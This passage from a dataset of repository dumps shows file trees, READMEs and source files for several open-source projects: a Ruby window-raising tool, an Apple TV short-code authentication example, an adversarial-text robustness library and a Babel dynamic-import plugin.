dependency-injection base class.\n#\n# @author Jake Teton-Landis <[email protected]>\nmodule Appear\n # Appear the given PID in your user interfaces.\n # This method is an easy public interface to Appear for ruby consumers.\n # @param pid [Number] pid to Appear.\n # @param config [Appear::Config, nil] a config for adjusting verbosity and logging.\n def self.appear(pid, config = nil)\n config ||= Appear::Config.new\n instance = Appear::Instance.new(config)\n instance.call(pid)\n end\n\n # Build a command string that will execute `appear` with the given config and\n # arguments. If `appear` is in your PATH, we will use that binary. Otherwise,\n # we will call the script in ./bin/ folder near this library, which has a\n # #!/usr/bin/env ruby shbang.\n #\n # You may optionally need to prepend \"PATH=#{ENV['PATH']} \" to the command if\n # `tmux` is not in your command execution environment's PATH.\n #\n # Intended for use with the terminal-notifier gem.\n # @see https://github.com/julienXX/terminal-notifier/tree/master/Ruby\n #\n # @example Show a notification that will raise your program\n # require 'appear'\n # require 'terminal-notifier'\n # TerminalNotifier.notify('Click to appear!', :execute => Appear.build_command(Process.pid))\n #\n # @param pid [Number] pid to Appear.\n # @param config [Appear::Config, nil] a config for adjusting verbosity and logging.\n # @return [String] a shell command that will execute `appear`\n def self.build_command(pid, config = nil)\n binary = `which appear`.strip\n if binary.empty?\n binary = Appear::MODULE_DIR.join('bin/appear').to_s\n end\n\n command = Appear::Util::CommandBuilder.new(binary).args(pid)\n\n if config\n command.flag('verbose', true) unless config.silent\n command.flag('log-file', config.log_file) if config.log_file\n command.flag('record-runs', true) if config.record_runs\n end\n\n command.to_s\n end\nend\n\nrequire 'appear/config'\nrequire 'appear/instance'\nrequire 'appear/util/command_builder'\n", "spec\\appear_mocks.rb": "require 'pathname'\nrequire 'json'\nrequire 'time'\nrequire 'appear/constants'\nrequire 'appear/service'\nrequire 'appear/runner'\n\nmodule AppearMocks\n class Service < Appear::BaseService\n def initialize\n super({})\n end\n end\n\n class Runner < Service\n def run(command, opts = {}); end\n end\n\n class Output < Service\n def log(*args); end\n def output(*args); end\n def log_error(err); end\n end\n\n class PlaybackRunner\n def initialize(db)\n # DO NOT MODIFY THIS DB THING!!!!\n @db = db\n @current_index = Hash.new { |h, k| h[k] = 0 }\n end\n\n def run(command, opts = {})\n output = get_next(command)\n if output['status'] == 'success' || opts[:allow_failure]\n return output['output']\n else\n raise Appear::ExecutionFailure.new(command, output['output'])\n end\n end\n\n def skip(command)\n get_next(command)\n nil\n end\n\n private\n\n def get_next(command)\n outputs = @db[command]\n raise 'no outputs for the given command' unless outputs\n current_index = @current_index[command]\n output = outputs[current_index]\n raise 'no outputs remaining for the given command' unless output\n\n @current_index[command] += 1\n output\n end\n end\n\n class PlaybackData\n INPUT_DIR = Appear::MODULE_DIR.join('spec/command_output')\n\n def initialize\n @db = Hash.new { |h, k| h[k] = [] }\n end\n\n def load(glob)\n files = Pathname.glob(INPUT_DIR.join(glob))\n files.each do |f|\n data = JSON.load(f.read)\n hydrate_time_field(data, 'record_at')\n hydrate_time_field(data, 'init_at')\n @db[data['command']] << data\n @db[data['command']].sort_by! { |c| c[:record_at] }\n end\n self\n end\n\n def runner\n PlaybackRunner.new(@db)\n end\n\n private\n\n def hydrate_time_field(hash, field)\n val = hash[field]\n if val\n time = Time.parse(val)\n hash[field] = time\n end\n end\n end\nend\n", "spec\\appear_spec.rb": "require 'appear'\nRSpec.describe Appear do\n subject do\n Appear\n end\n\n let :instance do\n Appear::Instance.new(Appear::Config.new)\n end\n\n describe '.appear' do\n it 'can appear' do\n expect(Appear::Instance).to receive(:new).and_return(instance)\n expect(instance).to receive(:call).with(1)\n\n subject.appear(1)\n end\n\n it 'can appear with config' do\n config = Appear::Config.new\n\n expect(Appear::Instance).to receive(:new).with(config).and_return(instance)\n expect(instance).to receive(:call).with(1)\n\n subject.appear(1, config)\n end\n end\n\n describe '.build_command' do\n it 'builds a command string' do\n expect(subject.build_command(1)).to match(/appear 1$/)\n end\n\n it 'builds with options if config provided' do\n config = Appear::Config.new\n config.silent = false\n config.log_file = 'foo'\n expect(subject.build_command(1, config)).to match(/appear --verbose --log-file foo 1$/)\n end\n end\nend\n", "tools\\unix-dropper.applescript": "#!/usr/bin/env osascript\n(*\n * script: unix-dropper.applescript\n * author: Jake Teton-Landis <[email protected]>\n * date: 2016-08-30\n *\n * when saved as an application (open in Script Editor, then choose\n * File->Export...), this script can be used to process files or folders with a\n * Unix script via drag-and-drop.\n *\n * You can customize the preferences of your Unix script by opening the\n * application the regular way.\n *\n * Your script will be called as a sh function, so you can process $@ using\n * `shift` or something.\n *\n * Heplful documentation for maintainers:\n * Technical Note TN2065 - do shell script in AppleScript\n * https://developer.apple.com/library/mac/technotes/tn2065/_index.html\n *\n * Here's the default script that this app will run, creaetd from the default\n * property `user_unix_command`, defined below, as though the dropped files were\n * \"first\", \"second\", \"third\".\n *\n * ```sh\n * #!/bin/sh\n * script-wrapper () {\n * ARG_C='3'\n * ARG_1='first'\n * ARG_2='second'\n * ARG_3='third'\n * say \"dropped $ARG_C files. first file: $ARG_0\"\n * }\n * # we do this so you can use \"$@\"\n * # and unix conventions if you're unix-y\n * script-wrapper first second third\n * ```\n *)\n\n-- property default_command : \"say \\\"dropped $ARG_C files. first file: $ARG_0\\\"\"\nproperty default_command : \"PATH=\\\"/usr/local/bin:$PATH\\\" /usr/local/bin/appear --edit -- \\\"$@\\\"\"\n\n\n--- this is a stored user preference.\n--- this is the default, but it can be set as a preference in a .plist if this script is saved as an applicication\nproperty user_unix_command : default_command\n\n--- this function runs when the user opens the application by double-clicking it.\n--- uer can adjust the user_unix_command by opening the application\non run\n\tset quit_ to \"Quit\"\n\tset reset to \"Reset\"\n\tset save_ to \"Save\"\n\trepeat\n\t\tset ds to doc_string()\n\t\tset d_res to display dialog ds buttons {quit_, reset, save_} default button save_ default answer user_unix_command\n\t\tif the button returned of d_res is save_ then\n\t\t\tset user_unix_command to the text returned of the result\n\t\tend if\n\t\tif the button returned of d_res is quit_ then\n\t\t\treturn \"user quit\"\n\t\tend if\n\tend repeat\nend run\n\n-- This droplet processes files dropped onto the applet\non open these_items\n\tset as_strings to {}\n\trepeat with cur in these_items\n\t\tset cur_as_string to (POSIX path of cur) as string\n\t\tcopy cur_as_string to end of as_strings\n\tend repeat\n\tset the_command to unix_script(user_unix_command, as_strings)\n\tlog the_command\n\tdo shell script the_command\nend open\n\n--- here's how we end up building the shell script to call\n--- the user's shell script with hella sweet args\non build_arg_vars(args)\n\t-- MOAR SPEED\n\treturn {}\n\tset argc to the count of args\n\tset res to {set_env_var(\"ARG_C\", argc)}\n\t\n\trepeat with i from 1 to the count of args\n\t\tset arg to item i of args\n\t\tcopy set_env_var(\"ARG_\" & i, arg) to end of res\n\tend repeat\n\tres\nend build_arg_vars\n\non build_script(user_script, args)\n\tset fn_name to \"wrapper_fn\"\n\tset open_fn to fn_name & \" () {\"\n\tset close_fn to \"}\"\n\tset call_fn to fn_name & \" \" & join_list(args, \" \")\n\tset comment to \"# we do this so you can use \\\"$@\\\"\n# and unix conventions if you're unix-y\"\n\t\n\tset res to build_arg_vars(args)\n\t\n\tcopy open_fn to beginning of res\n\tcopy user_script to end of res\n\tcopy close_fn to end of res\n\tcopy comment to end of res\n\tcopy call_fn to end of res\n\tres\nend build_script\n\non set_env_var(var, value)\n\t\n\tset res to var & \"=\" & (the quoted form of (\"\" & value))\n\t# display dialog res\n\t\n\treturn res\n\t\nend set_env_var\n\non join_list(the_list, sep)\n\tif (count of the_list) is 0 then\n\t\treturn \"\"\n\tend if\n\t\n\tif (count of the_list) is 1 then\n\t\treturn \"\" & item 1 of the_list\n\tend if\n\t\n\tset res to \"\" & item 1 of the_list\n\t\n\trepeat with i from 2 to the count of the_list\n\t\tset el to item i of the_list\n\t\tset res to res & sep & el\n\tend repeat\n\tres\nend join_list\n\non unix_script(user_command, args)\n\tjoin_list(build_script(user_command, args), \"\n\")\nend unix_script\n\n\n-- returns string\non doc_string()\n\t\"Enter a unix command to run when this application should open a file. Your script has several environment variables availible, see below.\n\nSubstitutions availible:\n\\\"$@\\\": All arguments, quoted\n(all sh default environment variables)\n$ARG_C: Total number of arguments\n$ARG_1: First argument\n$ARG_2: Second argument\netc...\n\nCurrent command:\n`\" & user_unix_command & \"`\n\nFinal script, given dropped files {first, second, third}:\n```sh\n#!/bin/sh\n\" & unix_script(user_unix_command, {\"first\", \"second\", \"third\"}) & \"\n```\"\nend doc_string\n\n--- uncomment to test\n-- unix_script(\"/Users/jake/src/foo $1 a/b $ARG_4 -- \\\"$@\\\"\", {\"foo\", \"bar\"})\n"} | null |
apple-tv-auth | {"type": "directory", "name": "apple-tv-auth", "children": [{"type": "file", "name": "app.rb"}, {"type": "file", "name": "config.ru"}, {"type": "file", "name": "Gemfile"}, {"type": "file", "name": "Gemfile.lock"}, {"type": "directory", "name": "models", "children": [{"type": "file", "name": "auth_token.rb"}, {"type": "file", "name": "user.rb"}]}, {"type": "file", "name": "models.rb"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "views", "children": [{"type": "file", "name": "authorize.erb"}, {"type": "file", "name": "index.erb"}, {"type": "file", "name": "layout.erb"}, {"type": "file", "name": "login.erb"}, {"type": "file", "name": "protected.erb"}, {"type": "file", "name": "token.erb"}]}]} | **Update:** On March 3, 2020 Airbnb sunset the Airbnb Apple TV app.
# Apple TV Authentication Example
This is an example authentication server for an Apple TV or other device that
doesn't lend itself to password entry. Check out https://medium.com/airbnb-engineering/apple-tv-authentication-a156937ea211#.yyj7id33m for
details about the workflow implemented here.
Much of the basic Sinatra/Warden implementation is based on Steve Klise's
excellent example: https://github.com/sklise/sinatra-warden-example. The most
interesting things to look at are `auth_token.rb` and the `:nonce` Warden
strategy in `app.rb`.
## Demo Instructions
1. Make sure you have Redis running locally: `brew install redis; redis-server`
2. Install gems: `bundle install`
3. Start the app: `rackup`
4. Navigate to <a href=http://localhost:9292>localhost:9292</a>.
5. You'll see the short code displayed as you would on an Apple TV.
6. In another browser or private window open <a href=http://localhost:9292>localhost:9292/authorize</a>.
7. Login as admin/admin.
8. Enter the short code in the authorization box and submit it.
9. Return to your first window and see that it has been successfully logged in.
| {"app.rb": "require 'bundler'\nrequire 'json'\nBundler.require\nrequire './models.rb'\n\nWarden::Strategies.add(:password) do\n def valid?\n params['user_name'] && params['password']\n end\n\n def authenticate!\n user = User.get(params['user_name'])\n\n if user.nil?\n throw(:warden, message: \"The user name you entered does not exist.\")\n elsif user.authenticated?(params['password'])\n success!(user)\n else\n throw(:warden, message: \"The user name and password combination \")\n end\n end\nend\n\nWarden::Strategies.add(:nonce) do\n def valid?\n params['short_code'] && params['nonce']\n end\n\n def authenticate!\n token = AuthToken.get(params['short_code'])\n user = User.get(token.id) if token\n token.refresh_expiry! unless user\n\n if token.nil? || user.nil?\n throw(:warden, message: \"The code you entered has not been authorized.\")\n elsif token.authenticated?(params['nonce'])\n # TODO: destroy token\n success!(user)\n else\n throw(:warden, message: \"Invalid nonce provided.\")\n end\n end\nend\n\nclass AppleTvAuthExample < Sinatra::Base\n enable :sessions\n register Sinatra::Flash\n\n use Warden::Manager do |config|\n config.serialize_into_session { |user| user.user_name }\n config.serialize_from_session { |id| User.get(id) }\n config.scope_defaults :default,\n strategies: [ :password, :nonce ],\n action: 'auth/unauthenticated'\n config.failure_app = self\n end\n\n Warden::Manager.before_failure do |env,opts|\n env['REQUEST_METHOD'] = 'POST'\n end\n\n get '/authorize' do\n env['warden'].authenticate!\n erb :authorize\n end\n\n get '/' do\n redirect '/auth/logout' if env['warden'].user\n @token = AuthToken.create\n erb :token\n end\n\n post '/authorize' do\n env['warden'].authenticate!\n @current_user = env['warden'].user\n\n token = AuthToken.get(params['short_code'])\n if token\n token.authorize(@current_user.user_name)\n flash[:success] = \"Successfully authorized #{token.short_code}\"\n redirect '/authorize'\n else\n [403, 'Unauthorized']\n end\n end\n\n get '/login' do\n erb :login\n end\n\n post '/login' do\n env['warden'].authenticate!\n\n flash[:success] = \"Successfully logged in\"\n\n if session[:return_to].nil?\n redirect '/authorize'\n else\n redirect session[:return_to]\n end\n end\n\n get '/auth/logout' do\n env['warden'].raw_session.inspect\n env['warden'].logout\n flash[:success] = 'Successfully logged out'\n redirect '/'\n end\n\n post '/auth/unauthenticated' do\n session[:return_to] = env['warden.options'][:attempted_path] if session[:return_to].nil?\n\n if params[:nonce]\n [403, env['warden.options'][:message] || \"Unable to login via nonce\"]\n else\n # Set the error and use a fallback if the message is not defined\n flash[:error] = env['warden.options'][:message] || \"You must log in\"\n redirect '/login'\n end\n end\n\n get '/protected' do\n env['warden'].authenticate!\n\n erb :protected\n end\nend\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
artificial-adversary | {"type": "directory", "name": "artificial-adversary", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "directory", "name": "Adversary", "children": [{"type": "file", "name": "adversary.py"}, {"type": "file", "name": "attacks.py"}, {"type": "file", "name": "constants.py"}, {"type": "file", "name": "utils.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "Example.ipynb"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "setup.py"}, {"type": "directory", "name": "tests", "children": [{"type": "file", "name": "test_adversary.py"}, {"type": "file", "name": "test_attacks.py"}, {"type": "file", "name": "test_utils.py"}, {"type": "file", "name": "__init__.py"}]}]} | <div align="center">
<img src="adversary_name.png"></img>
</div>
<br>
[![Build Status](https://travis-ci.com/airbnb/artificial-adversary.svg?branch=master)](https://travis-ci.com/airbnb/artificial-adversary)
[![MIT License](https://img.shields.io/dub/l/vibe-d.svg)](https://github.com/100/Cranium/blob/master/LICENSE)
This repo is primarily maintained by [Devin Soni](https://github.com/100/) and [Philbert Lin](https://github.com/philin).
Note that this project is under active development. If you encounter bugs, please report them in the `issues` tab.
## Introduction
When classifying user-generated text, there are many ways that users can modify their content to avoid detection. These methods are typically cosmetic modifications to the texts that change the raw characters or words used, but leave the original meaning visible enough for human readers to understand. Such methods include replacing characters with similar looking ones, removing or adding punctuation and spacing, and swapping letters in words. For example `please wire me 10,000 US DOLLARS to bank of scamland` is probably an obvious scam message, but `[email protected] me 10000 US DoLars to,BANK of ScamIand` would fool many classifiers.
This library allows you to generate texts using these methods, and simulate these kind of attacks on your machine learning models. By exposing your model to these texts offline, you will be able to better prepare for them when you encounter them in an online setting. Compared to other libraries, this one differs in that it treats the model as a black box and uses only generic attacks that do not depend on knowledge of the model itself.
## Installation
```
pip install Adversary
python -m textblob.download_corpora
```
## Usage
See [`Example.ipynb`](https://github.com/airbnb/artificial-adversary/blob/master/Example.ipynb) for a quick illustrative example.
```python
from Adversary import Adversary
gen = Adversary(verbose=True, output='Output/')
texts_original = ['tell me awful things']
texts_generated = gen.generate(texts_original)
metrics_single, metrics_group = gen.attack(texts_original, texts_generated, lambda x: 1)
```
### Use cases:
**1) For data-set augmentation:** In order to prepare for these attacks in the wild, an obvious method is to train on examples that are close in nature to the expected attacks. Training on adversarial examples has become a standard technique, and it has been shown to produce more robust classifiers. Using the texts generated by this library will allow you to build resilient models that can handle obfuscation of input text.
**2) For performance bounds:** If you do not want to alter an existing model, this library will allow you to obtain performance expectations under each possible type of attack.
### Included attacks:
- Text-level:
- Adding generic words to mask the suspicious parts (`good_word_attack`)
- Swapping words (`swap_words`)
- Removing spacing between words (`remove_spacing`)
- Word-level:
- Replacing words with synonyms (`synonym`)
- Replacing letters with similar-looking symbols (`letter_to_symbol`)
- Swapping letters (`swap_letters`)
- Inserting punctuation (`insert_punctuation`)
- Inserting duplicate characters (`insert_duplicate_characters`)
- Deleting characters (`delete_characters`)
- Changing case (`change_case`)
- Replacing digits with words (`num_to_word`)
### Interface:
**Constructor**
```
Adversary(
verbose=False,
output=None
)
```
- **verbose:** If verbose, prints output while generating texts and while conducting attack
- **output:** If output, pickles generated texts and metrics DataFrames to folder at `output` path
**Returns:** None
---
#### Note: only provide instances of the positive class in the below functions.
**Generate attacked texts**
```
Adversary.generate(
texts,
text_sample_rate=1.0,
word_sample_rate=0.3,
attacks='all',
max_attacks=2,
random_seed=None,
save=False
)
```
- **texts:** List of original strings
- **text_sample_rate:** P(individual text is attacked) if in [0, 1], else, number of copies of each text to use
- **word_sample_rate:** P(word_i is sampled in a given word attack | word's text is sampled)
- **attacks:** Description of attack configuration - either 'all', `list` of `str` corresponding to attack names, or `dict` of attack name to probability
- **max_attacks:** Maximum number of attacks that can be applied to a single text
- **random_seed:** Seed for calls to random module functions
- **save:** Whether the generated texts should be pickled as output
**Returns:** List of tuples of generated strings in format (attacked text, list of attacks, index of original text).
Due to the probabilistic sampling and length heuristics used in certain attacks, some of the generated texts may not differ from the original.
---
**Simulate attack on texts**
```
Adversary.attack(
texts_original,
texts_generated,
predict_function,
save=False
)
```
- **texts_original:** List of original texts
- **texts_generated:** List of generated texts (output of generate function)
- **predict_function:** Function that maps `str` input text to `int` classification label (0 or 1) - this probably wraps a machine learning model's `predict` function
- **save:** Whether the generated metrics `DataFrame`s should be pickled as output
**Returns:** Tuple of two DataFrames containing performance metrics (single attacks, and grouped attacks, respectively)
## Contributing
Check the `issues` tab on GitHub for outstanding issues.
Otherwise, feel free to add new attacks in `attacks.py` or other features in a pull request and the maintainers will look through them.
Please make sure you pass the CI checks and add tests if applicable.
#### Acknowledgments
Credits to [Airbnb](https://airbnb.io/) for giving me the freedom to create this tool during my internship, and [Jack Dai](https://github.com/jdai8) for the (obvious in hindsight) name for the project.
| {"setup.py": "from setuptools import setup\n\nsetup(\n name='Adversary',\n version='1.1.1',\n packages=['tests', 'Adversary'],\n url='https://github.com/airbnb/artificial-adversary',\n license='MIT',\n author='Devin Soni',\n author_email='[email protected]',\n description='Creates adversarial text examples for machine learning models',\n install_requires=[\n 'pandas',\n 'nltk',\n 'textblob'\n ],\n)\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
babel-plugin-dynamic-import-node | {"type": "directory", "name": "babel-plugin-dynamic-import-node", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintignore"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}, {"type": "file", "name": "utils.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "directory", "name": "fixtures", "children": [{"type": "directory", "name": "basic-import", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.6.es2015.js"}, {"type": "file", "name": "expected.6.js"}, {"type": "file", "name": "expected.6.noInterop.js"}, {"type": "file", "name": "expected.7.es2015.js"}, {"type": "file", "name": "expected.7.js"}, {"type": "file", "name": "expected.7.noInterop.js"}]}, {"type": "directory", "name": "chained-import", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.6.es2015.js"}, {"type": "file", "name": "expected.6.js"}, {"type": "file", "name": "expected.6.noInterop.js"}, {"type": "file", "name": "expected.7.es2015.js"}, {"type": "file", "name": "expected.7.js"}, {"type": "file", "name": "expected.7.noInterop.js"}]}, {"type": "directory", "name": "dynamic-argument", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.6.es2015.js"}, {"type": "file", "name": "expected.6.js"}, {"type": "file", "name": "expected.6.noInterop.js"}, {"type": "file", "name": "expected.7.es2015.js"}, {"type": "file", "name": "expected.7.js"}, {"type": "file", "name": "expected.7.noInterop.js"}]}, {"type": "directory", "name": "import-with-comment", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.6.es2015.js"}, {"type": "file", "name": "expected.6.js"}, {"type": "file", "name": "expected.6.noInterop.js"}, {"type": "file", "name": "expected.7.es2015.js"}, {"type": "file", "name": "expected.7.js"}, {"type": "file", "name": "expected.7.noInterop.js"}]}, {"type": "directory", "name": "nested-import", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.6.es2015.js"}, {"type": "file", "name": "expected.6.js"}, {"type": "file", "name": "expected.6.noInterop.js"}, {"type": "file", "name": "expected.7.es2015.js"}, {"type": "file", "name": "expected.7.js"}, {"type": "file", "name": "expected.7.noInterop.js"}]}, {"type": "directory", "name": "non-string-argument", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.6.es2015.js"}, {"type": "file", "name": "expected.6.js"}, {"type": "file", "name": "expected.6.noInterop.js"}, {"type": "file", "name": "expected.7.es2015.js"}, {"type": "file", "name": "expected.7.js"}, {"type": "file", "name": "expected.7.noInterop.js"}]}, {"type": "directory", "name": "template-argument", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.6.es2015.js"}, {"type": "file", "name": "expected.6.js"}, {"type": "file", "name": "expected.6.noInterop.js"}, {"type": "file", "name": "expected.7.es2015.js"}, {"type": "file", "name": "expected.7.js"}, {"type": "file", "name": "expected.7.noInterop.js"}]}]}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "testPlugin.js"}]}, {"type": "file", "name": "utils.js"}]} | # babel-plugin-dynamic-import-node
Babel plugin to transpile `import()` to a deferred `require()`, for node. Matches the [proposed spec](https://github.com/domenic/proposal-import-function).
**NOTE:** Babylon >= v6.12.0 is required to correctly parse dynamic imports.
**NOTE:** This plugin generates code compatible with Node.js. Webpack >= 2 supports `import()` natively, and for Webpack 1 you can use [`babel-plugin-dynamic-import-webpack`](https://github.com/airbnb/babel-plugin-dynamic-import-webpack) that generates Webpack-compatible output.
## Installation
```sh
npm install babel-plugin-dynamic-import-node --save-dev
```
## Usage
### Via `.babelrc` (Recommended)
**.babelrc**
```json
{
"plugins": ["dynamic-import-node"]
}
```
#### Options
- *`noInterop`* - A boolean value, that if true will not interop the require calls. Useful to avoid using `require('module').default` on commonjs modules.
```json
{
"plugins": [
["dynamic-import-node", { "noInterop": true }]
]
}
```
### Via CLI
```sh
$ babel --plugins dynamic-import-node script.js
```
### Via Node API
```javascript
require('babel-core').transform('code', {
plugins: ['dynamic-import-node']
});
```
### Code Example
```javascript
Promise.all([
import('./lib/import1'),
import('./lib/import2')
]).then(([
Import1,
Import2
]) => {
console.log(Import1);
/* CODE HERE*/
});
```
| {"package.json": "{\n \"name\": \"babel-plugin-dynamic-import-node\",\n \"version\": \"2.3.3\",\n \"description\": \"Babel plugin to transpile import() to a deferred require(), for node\",\n \"main\": \"lib/index.js\",\n \"directories\": {\n \"test\": \"test\"\n },\n \"scripts\": {\n \"clean\": \"rimraf lib\",\n \"prebuild\": \"npm run clean\",\n \"build\": \"babel src --out-dir lib\",\n \"pretest\": \"npm run lint\",\n \"test\": \"npm run tests-only\",\n \"tests-only\": \"tape --require airbnb-js-shims --require babel-register test\",\n \"lint\": \"eslint .\",\n \"prepublish\": \"not-in-publish || (safe-publish-latest && npm run build)\",\n \"check-changelog\": \"expr $(git status --porcelain 2>/dev/null| grep \\\"^\\\\s*M.*CHANGELOG.md\\\" | wc -l) >/dev/null || (echo 'Please edit CHANGELOG.md' && exit 1)\",\n \"check-only-changelog-changed\": \"(expr $(git status --porcelain 2>/dev/null| grep -v \\\"CHANGELOG.md\\\" | wc -l) >/dev/null && echo 'Only CHANGELOG.md may have uncommitted changes' && exit 1) || exit 0\",\n \"version:major\": \"npm --no-git-tag-version version major\",\n \"version:minor\": \"npm --no-git-tag-version version minor\",\n \"version:patch\": \"npm --no-git-tag-version version patch\",\n \"postversion\": \"git commit package.json CHANGELOG.md -m \\\"v$npm_package_version\\\" && npm run tag && git push && git push --tags\",\n \"preversion\": \"npm run test && npm run check-changelog && npm run check-only-changelog-changed\",\n \"tag\": \"git tag v$npm_package_version\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/babel-plugin-dynamic-import-node.git\"\n },\n \"keywords\": [\n \"babel\",\n \"plugin\",\n \"dynamic\",\n \"import\",\n \"node\"\n ],\n \"author\": \"Jordan Gensler <[email protected]>\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/babel-plugin-dynamic-import-node/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/babel-plugin-dynamic-import-node#readme\",\n \"devDependencies\": {\n \"@babel/core\": \"^7.9.0\",\n \"@babel/plugin-external-helpers\": \"^7.8.3\",\n \"@babel/plugin-transform-template-literals\": \"^7.8.3\",\n \"@babel/preset-env\": \"^7.9.5\",\n \"airbnb-js-shims\": \"^2.2.1\",\n \"babel-cli\": \"^6.26.0\",\n \"babel-core\": \"^6.26.3\",\n \"babel-eslint\": \"^9.0.0\",\n \"babel-plugin-add-module-exports\": \"^0.2.1\",\n \"babel-plugin-external-helpers\": \"^6.22.0\",\n \"babel-plugin-transform-es2015-template-literals\": \"^6.22.0\",\n \"babel-plugin-transform-replace-object-assign\": \"^1.0.0\",\n \"babel-preset-airbnb\": \"^2.6.0\",\n \"babel-preset-es2015\": \"^6.24.1\",\n \"babel-register\": \"^6.26.0\",\n \"eslint\": \"^6.8.0\",\n \"eslint-config-airbnb-base\": \"^14.1.0\",\n \"eslint-plugin-import\": \"^2.20.2\",\n \"in-publish\": \"^2.0.1\",\n \"rimraf\": \"^2.7.1\",\n \"safe-publish-latest\": \"^1.1.4\",\n \"tape\": \"^5.0.0-next.5\"\n },\n \"dependencies\": {\n \"object.assign\": \"^4.1.0\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\index.js": "import { createDynamicImportTransform } from './utils';\n\nexport default function (api) {\n const transformImport = createDynamicImportTransform(api);\n\n return {\n // NOTE: Once we drop support for Babel <= v6 we should\n // update this to import from @babel/plugin-syntax-dynamic-import.\n // https://www.npmjs.com/package/@babel/plugin-syntax-dynamic-import\n manipulateOptions(opts, parserOpts) {\n parserOpts.plugins.push('dynamicImport');\n },\n\n visitor: {\n Import(path) {\n transformImport(this, path);\n },\n },\n };\n}\n", "test\\index.js": "import test from 'tape';\nimport { join } from 'path';\nimport {\n readdirSync, statSync, readFileSync, writeFileSync,\n} from 'fs';\n\nimport testPlugin from './testPlugin';\n\nconst FIXTURE_PATH = join(__dirname, 'fixtures');\n\nconst testFolders = readdirSync(FIXTURE_PATH).filter((file) => (\n statSync(join(FIXTURE_PATH, file)).isDirectory()\n));\n\n// Babel 7 only supports node 6+\nconst versions = Number(process.version.match(/\\d+/)[0]) >= 6 ? [6, 7] : [6];\n\nconst pkgs = {\n 6: {\n env: 'env',\n es2015: 'es2015',\n templates: 'transform-es2015-template-literals',\n },\n 7: {\n env: '@babel/env',\n templates: '@babel/transform-template-literals',\n },\n};\n\nfunction normalize(output) {\n return `${output.trim()}\\n`;\n}\n\nfunction tryRead(folder, file) {\n try {\n return readFileSync(join(FIXTURE_PATH, folder, file), 'utf8');\n } catch (e) {\n return '';\n }\n}\n\nfunction assertOrWrite(st, result, expected, folder, file) {\n if (process.env.OVERWRITE) {\n writeFileSync(join(FIXTURE_PATH, folder, file), normalize(result));\n } else {\n 